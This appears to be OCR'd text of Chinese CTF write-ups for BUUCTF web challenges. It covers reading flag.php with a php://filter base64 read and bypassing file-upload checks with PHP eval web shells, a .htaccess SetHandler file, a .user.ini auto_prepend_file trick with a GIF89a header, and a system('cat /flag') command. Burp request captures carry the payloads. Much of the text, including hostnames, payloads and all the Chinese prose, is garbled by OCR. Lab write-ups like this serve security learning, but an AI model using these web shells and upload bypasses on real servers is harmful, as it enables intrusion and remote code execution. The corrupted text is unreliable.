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Can you find out the flag?

2. 3REE| Furl

http://c605348f-441f9-4c25-b602-66Cc73ee07005.node3.buuoj.cn/? flag.php

&—A php XA, REIZRFE I T: Can you find out the flag?
B0 2 BURE RS A3 url

read=convert.base64-encode/resource=flag.php A B AR R AEFIPHP I TR, BT PAMEEAEEPHP L4
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PD9waHAKZWNobyAiQ2FulHIvdSBmaW5klG91dCB0aGUgZmxhZz8i0wovl 2ZsYWd7NGQxMDZhMJEtZWIxOS00MGImLWEOMDQtMjk5NmUxY2NkYmVhfQo=

3. 55 flag HIN%E, 1 basees fRE

PD9waHAKZWNobyAiQ2FulHIvdSBmaWsklG91dCB0aGUgZmxhZz8iOwovL 2ZsYWd7NGQxMDZhM]ELZWIXOS00MGJmLWEOMDQtMjkSNmUXY 2NkYmVhfQo=

SHAL SHA224 SHA256 SHA384 SHAS12 MD5 HmacSHAL HmacSHA224 HmacSHA256 HmacSHA384 HmacSHAS12 HmacMD5
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<?php

echo "Can you find out the flag?";
/Mlag{4d106a21-eb19-40bf-a404-2996e1ccdbea}
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Burp Suite Community Edition v2020.12.1 - Temporary Project

Burp Project Intruder Repeater Window Help

POST /upload file.php HTTP/1.1
2 Host: cZed6970-67e2-4393-bf76-£60182d4cdcB4. noded _buuoj.cn
3 User-Agent: Mozilla/5.0 (VWindows NT 10.0; Winéd; x€4; rv:90.0) Gecko/20100101
Firefox/S0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US; q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
b darys-—=—---=—---=-------——--———eo 715885€171887188916231817311&
Content-Length: 378
Origin: http://cledE970-E7eZ-4393-bf76-E0182d4cdcB4.noded.buuocj.cn
Connection: close
Referer: http://cledEdT70-ET7eZ-4393-bf76-E0182d4cdcB4.noded.buuoj.en/
2 Cookie: UM_distinetid=179£3b34al73bc-014001817710a5-4e3£2d73-144000-179£3b34al8768
1% Upgrade-Insecure-Requests: 1

15 ---T7158B9£1718871889162318173116
Content-Disposition: form-data; name="file"; filename="1.png"
17 Content-Type: application/octet-stream

13 <?php Reval(s_POST[123]);2>

21 ---T7158B9£171887188916231817311&
22 Content-Disposition: form-data; name="submit"
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Burp Suite Community Edition v2020.12.1 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard Target roxy Intruder Repeater

1 x 2% 3 x 4 x

Sequencer Decoder Comparer Extender Project options User options.

70-67e2-4393-bf76-601

Request

pretty (M \n  Actions v

L POST /upload_file.php HTTP/1.1

2 Host: cledg970-7e2-4393-bf76-60182d4cde84. noded buuo].en
xE4; rv:80.0) Gecko/20100101 Firefox/S0.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW.q=0.7,2h-HK;q=0.5,en-US:q=0.3,en;q=0.2

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinEd;

¢ Accept-Encoding: gzip, deflate

Response

Pretty Raw QECILESY Actions Vv

21626031840706165523498529341

Content-Type: multipart/form-dava; k ¥
9 Content-Length: 400

S Origin: http://cledE970-E7e2-4393-b£76-60182d4cdcB4. noded. bunoi.cn

10 Connection: close

L Referer: http://eledE970-67e2-4393-b£76-£0182d4cdeB4 . noded. buuei. en/
2 Cookie: UM_distinctid=179£3b34al173be-014001817710a9-43£2d73-144000-179 £3b34a16766

3 Upgrade-Insecure-Requests: 1

17 Content-Type: image/jpeg

5 GIF8%a

0 <script language='phpal0>@eval(?_POST['abc'l);</script>

3 Content-Disposition: form-data; name="submit®
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21626031840706165523498929341
Content-Disposition: form-data; name="file'; filename="1.png}'

421626031840706165523498929341

21626031840706165523498929341 -~
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Burp Suite Community Edition v2020.12.1 - Temporary Pro

Burp Project Intruder Repeater Window Help

Dashboard Target Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

Target: http://3516f635-606e-4673-b72e-cde6f6b03eeb.noded.buncjen 7 (7)

Actions v
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HOLDO3dSNI

;q=0.3,en;q=0.2
ding: gzip, deflate
multipa
=19273776233401790427400&€803 8
eEfEb03eeb.noded . bunoj.cn

e: UM_distinctid=17S
2 Upgrade-Insecure-Requests

ntent-Disposition:
ntent-Type: image/jpeg
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[SUCTF 2019]Checkin——C 4 4%

1. BEAE—AERD KphpXEl:, RRERAEE;
2. FERADE, RBANEER.
3. Z& htaccess 838, I bA%L .htaccess XXMHF, /R EAEXHARER
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Burp Suite Community Edition v2020.12.1 - Temporary Project - m] x
Burp Project Intruder Repeater Window Help
Dashboard Target 0 Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1% 2 x 3 %
BBl - Target: http://ddc85fae-66¢7-4e42-91ch-6625fc35b843.noded. buucjensl 7 (3
a== =
Request Response i
Prett m \n  Actions Vv Pretty Raw JEIGEY Actions v z
| wv
L POST /index.php HITP/L.1 X
2 Host: ddeBSfae-£6c7-4e42-9lcb-E625£c35b843. noded . buuoj.en:8l . 9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:91.0) Gecko/20100101 [l)lo;]d Lal_)§ o
Firefox/s1.0 =

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,inage/webp,*/*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 NiES: | SR | SRR
Accept-Encoding: gzip, deflate | —
7 Content-Type: multipart/form-data; |tz§Z

BOUNAArY==—===== === == m = mmm e mmm e 259915763025175063762451784061 exif_imagetypenot image!
Content-Length: 383 - N
Origin: http://ddcB85fae-66cT-4e42-91cb-6625£c35b843 noded buuoj.cn: 81

10 Connection: close

11 Referer: http://ddcB5fae-EEcT-4e42-91ch-6E25£c35b843. noded. buuos . en: B1/index. php

Z Cookie: UM_distinctid=179£3b34al73bc-014001817710a5-4c3£2d73-144000-179£3b34al8768

13 Upgrade-Insecure-Requests: 1

R 259915763025175063762451784061
1€ Content-Disposition: form-data; name="fileUpload"; filename="_htaccess"
17 Content-Type: application/octet-stream

1% SetHandler application/x-httpd-php
259915763025175063762451784061
21 Content-Disposition: form-data; name="upload"
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723 bytes | 85 milli
4. bAE—A Ll auto_propend_file=1.gif NWAEHK .user.ini XM [P EHENXWEEMH] o .user.ini XHEKWERE
& FTBW php XHEBENEE 1.gif XM,  .user.ini HHF—AMHF EHEXH php.ini » #AXFR S XHEASZHE
Fo

Upload Labs
ST [ R | SRR,
£

exif imagetype:not image!

5. fESCHF A RITE NN GIF 89a SK&e5E ST kAl
| *.user.ini - i0=4
M) HwEE) BXN(0) EF(\V) #EIH)
GIF 89a
auto prepend file=1.gif
|

Rn b AE BT
Upload Labs
S (S| s,
t=d
Your dir uploads/d4e1477e342a41{6e43fbde8f3096ada
Your files :

array(4) { [0]== string(1) "." [1]== string(2) ".." [2]==> string(9) ".user.ini" [3]== string(9) "index.php" }



6. 488 EAA—AN N BER—AERD K 1.gif XM, RN GIF XSRS S04 AR .

GIF 89a
?php ($_POST[[123];)?
RN BEAREHE .

7. RUTARXERE -, BAVFMLIET <2, AR php .

GIF89a
script language ($_POST[ 1);</script

Upload Labs

AR UG | AR,

=9

Your dir uploads/d4e1477e342a4 1f6e43fbde8f3096ada

Your files :

array(4) { [0]== string(1) "." [1]== string(2) ".." [2]== string(5) " 1.gif" [3]== string(9) "index.php" }

Upload L.abs

AR .. R,

=9

Your dir uploads/d4el477e342a41{6e43fbde8f3096ada
Your files :

array(5) { [0]== string(1) "." [1]== string(2) ".." [2]== string(9) ".user.ini" [3]=> string(5) "1.gif" [4]== string(9) "index.php" }

8. FAIK I, 1 uploads/ddel477e342a41f6e43fbde8F3096ada Xt B [ L F 3 FHA I X, — & .user.ini, —4>
R 1.gif, MR, BH— index.php . & URL 13 FH IS EREEN T,

http://ddc85fae-66c7-4e42-91cb-6625fc35b843.node4.buuoj.cn:81/ uploads/d4eld77e342a41f6e43fbde8f3096ada/index. ph

p



9. HWEBIERARE, WM post 215 2flag.

GIF89a flag{930b6c73-ebc5-4b63-9aef-9f386a333279}

F D oy 7

O O=EE Deda OEtE NRE (JegEs QOu ORsF B&FE F Tesns 8 UEEs @ Hackear 4] -

Encryption ~ Encoding ~ SQL ~ XSS - Other ~ Contribute now! HackBar v2

@ Load URL http://ddc85fae-66¢7-4e42-91cb-6625fc35b843.node4.buuoj.cn:81/uploads/d4e1477e342a4 1f6e43fbde8f3096adalindex.php
gg Split URL

» ) Execute B
Postdata [] Referer [ User Agent [ Cookies Clear All

cmd=system('cat /flag’);

cmd=system EE: cat/FHEA T, A0 AN

T Hil——cat Is (linux#ér4)
1. Isird
o IswiHTEEEANEZHNANSE, HHT dos REHH dir 54

o 7 Linux R4, MRRAVEIIA SR ENRBICH, T4 R H B LSCH S 4 RIE D . BT,
o L, | RFUMER, .. BRELHAR, EFRER, ~RFAHASOER, 7 hone BRI T K.

2. catfird

cat & M TSI ITEN B brEdan it i & b
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